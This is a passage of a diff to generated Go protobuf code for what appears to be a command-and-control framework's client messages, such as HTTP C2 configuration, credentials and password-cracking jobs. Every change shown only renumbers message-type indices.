*C2ProfileReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7880,7 +8363,7 @@ func (x *C2ProfileReq) ProtoReflect() protoreflect.Message { // Deprecated: Use C2ProfileReq.ProtoReflect.Descriptor instead. func (*C2ProfileReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *C2ProfileReq) GetName() string { @@ -7902,7 +8385,7 @@ type HTTPC2ConfigReq struct { func (x *HTTPC2ConfigReq) Reset() { *x = HTTPC2ConfigReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7915,7 +8398,7 @@ func (x *HTTPC2ConfigReq) String() string { func (*HTTPC2ConfigReq) ProtoMessage() {} func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7928,7 +8411,7 @@ func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ConfigReq.ProtoReflect.Descriptor instead. func (*HTTPC2ConfigReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *HTTPC2ConfigReq) GetOverwrite() bool { @@ -7960,7 +8443,7 @@ type HTTPC2Config struct { func (x *HTTPC2Config) Reset() { *x = HTTPC2Config{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7973,7 +8456,7 @@ func (x *HTTPC2Config) String() string { func (*HTTPC2Config) ProtoMessage() {} func (x *HTTPC2Config) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7986,7 +8469,7 @@ func (x *HTTPC2Config) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Config.ProtoReflect.Descriptor instead. func (*HTTPC2Config) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *HTTPC2Config) GetID() string { @@ -8038,7 +8521,7 @@ type HTTPC2ServerConfig struct { func (x *HTTPC2ServerConfig) Reset() { *x = HTTPC2ServerConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8051,7 +8534,7 @@ func (x *HTTPC2ServerConfig) String() string { func (*HTTPC2ServerConfig) ProtoMessage() {} func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8064,7 +8547,7 @@ func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ServerConfig.ProtoReflect.Descriptor instead. func (*HTTPC2ServerConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *HTTPC2ServerConfig) GetID() string { @@ -8122,7 +8605,7 @@ type HTTPC2ImplantConfig struct { func (x *HTTPC2ImplantConfig) Reset() { *x = HTTPC2ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8135,7 +8618,7 @@ func (x *HTTPC2ImplantConfig) String() string { func (*HTTPC2ImplantConfig) ProtoMessage() {} func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8148,7 +8631,7 @@ func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ImplantConfig.ProtoReflect.Descriptor instead. func (*HTTPC2ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *HTTPC2ImplantConfig) GetID() string { @@ -8282,7 +8765,7 @@ type HTTPC2Cookie struct { func (x *HTTPC2Cookie) Reset() { *x = HTTPC2Cookie{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8295,7 +8778,7 @@ func (x *HTTPC2Cookie) String() string { func (*HTTPC2Cookie) ProtoMessage() {} func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8308,7 +8791,7 @@ func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Cookie.ProtoReflect.Descriptor instead. func (*HTTPC2Cookie) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *HTTPC2Cookie) GetID() string { @@ -8340,7 +8823,7 @@ type HTTPC2Header struct { func (x *HTTPC2Header) Reset() { *x = HTTPC2Header{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8353,7 +8836,7 @@ func (x *HTTPC2Header) String() string { func (*HTTPC2Header) ProtoMessage() {} func (x *HTTPC2Header) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8366,7 +8849,7 @@ func (x *HTTPC2Header) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Header.ProtoReflect.Descriptor instead. func (*HTTPC2Header) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *HTTPC2Header) GetID() string { @@ -8419,7 +8902,7 @@ type HTTPC2URLParameter struct { func (x *HTTPC2URLParameter) Reset() { *x = HTTPC2URLParameter{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8432,7 +8915,7 @@ func (x *HTTPC2URLParameter) String() string { func (*HTTPC2URLParameter) ProtoMessage() {} func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8445,7 +8928,7 @@ func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2URLParameter.ProtoReflect.Descriptor instead. func (*HTTPC2URLParameter) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *HTTPC2URLParameter) GetID() string { @@ -8497,7 +8980,7 @@ type HTTPC2PathSegment struct { func (x *HTTPC2PathSegment) Reset() { *x = HTTPC2PathSegment{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8510,7 +8993,7 @@ func (x *HTTPC2PathSegment) String() string { func (*HTTPC2PathSegment) ProtoMessage() {} func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8523,7 +9006,7 @@ func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2PathSegment.ProtoReflect.Descriptor instead. func (*HTTPC2PathSegment) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *HTTPC2PathSegment) GetID() string { @@ -8572,7 +9055,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8585,7 +9068,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8598,7 +9081,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{105} } func (x *Credential) GetID() string { @@ -8668,7 +9151,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8681,7 +9164,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8694,7 +9177,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{106} } func (x *Credentials) GetCredentials() []*Credential { @@ -8716,7 +9199,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8729,7 +9212,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8742,7 +9225,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{107} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -8768,7 +9251,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8781,7 +9264,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8794,7 +9277,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{108} } func (x *CrackstationStatus) GetName() string { @@ -8851,7 +9334,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8864,7 +9347,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8877,7 +9360,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{103} + return file_clientpb_client_proto_rawDescGZIP(), []int{109} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -8907,7 +9390,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8920,7 +9403,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8933,7 +9416,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{104} + return file_clientpb_client_proto_rawDescGZIP(), []int{110} } func (x *CrackBenchmark) GetName() string { @@ -8974,7 +9457,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8987,7 +9470,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9000,7 +9483,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{105} + return file_clientpb_client_proto_rawDescGZIP(), []int{111} } func (x *CrackTask) GetID() string { @@ -9074,7 +9557,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9087,7 +9570,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9100,7 +9583,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{106} + return file_clientpb_client_proto_rawDescGZIP(), []int{112} } func (x *Crackstation) GetID() string { @@ -9207,7 +9690,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[107] + mi := &file_clientpb_client_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9220,7 +9703,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[107] + mi := &file_clientpb_client_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9233,7 +9716,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{107} + return file_clientpb_client_proto_rawDescGZIP(), []int{113} } func (x *CUDABackendInfo) GetType() string { @@ -9327,7 +9810,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[108] + mi := &file_clientpb_client_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9340,7 +9823,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[108] + mi := &file_clientpb_client_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9353,7 +9836,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{108} + return file_clientpb_client_proto_rawDescGZIP(), []int{114} } func (x *OpenCLBackendInfo) GetType() string { @@ -9453,7 +9936,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[109] + mi := &file_clientpb_client_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9466,7 +9949,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[109] + mi := &file_clientpb_client_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9479,7 +9962,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{109} + return file_clientpb_client_proto_rawDescGZIP(), []int{115} } func (x *MetalBackendInfo) GetType() string { @@ -9677,7 +10160,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[110] + mi := &file_clientpb_client_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9690,7 +10173,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[110] + mi := &file_clientpb_client_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9703,7 +10186,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{110} + return file_clientpb_client_proto_rawDescGZIP(), []int{116} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -10434,7 +10917,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[111] + mi := &file_clientpb_client_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10447,7 +10930,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[111] + mi := &file_clientpb_client_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10460,7 +10943,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{111} + return file_clientpb_client_proto_rawDescGZIP(), []int{117} } func (x *CrackConfig) GetAutoFire() bool { @@ -10504,7 +10987,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[112] + mi := &file_clientpb_client_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10517,7 +11000,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[112] + mi := &file_clientpb_client_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10530,7 +11013,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{112} + return file_clientpb_client_proto_rawDescGZIP(), []int{118} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -10575,7 +11058,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[113] + mi := &file_clientpb_client_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10588,7 +11071,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[113] + mi := &file_clientpb_client_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10601,7 +11084,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{113} + return file_clientpb_client_proto_rawDescGZIP(), []int{119} } func (x *CrackFile) GetID() string { @@ -10695,7 +11178,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[114] + mi := &file_clientpb_client_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10708,7 +11191,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[114] + mi := &file_clientpb_client_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10721,7 +11204,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{114} + return file_clientpb_client_proto_rawDescGZIP(), []int{120} } func (x *CrackFileChunk) GetID() string { @@ -10764,7 +11247,7 @@ type MonitoringProviders struct { func (x *MonitoringProviders) Reset() { *x = MonitoringProviders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[115] + mi := &file_clientpb_client_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10777,7 +11260,7 @@ func (x *MonitoringProviders) String() string { func (*MonitoringProviders) ProtoMessage() {} func (x *MonitoringProviders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[115] + mi := &file_clientpb_client_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10790,7 +11273,7 @@ func (x *MonitoringProviders) ProtoReflect() protoreflect.Message { // Deprecated: Use MonitoringProviders.ProtoReflect.Descriptor instead. func (*MonitoringProviders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{115} + return file_clientpb_client_proto_rawDescGZIP(), []int{121} } func (x *MonitoringProviders) GetProviders() []*MonitoringProvider { @@ -10814,7 +11297,7 @@ type MonitoringProvider struct { func (x *MonitoringProvider) Reset() { *x = MonitoringProvider{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[116] + mi := &file_clientpb_client_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10827,7 +11310,7 @@ func (x 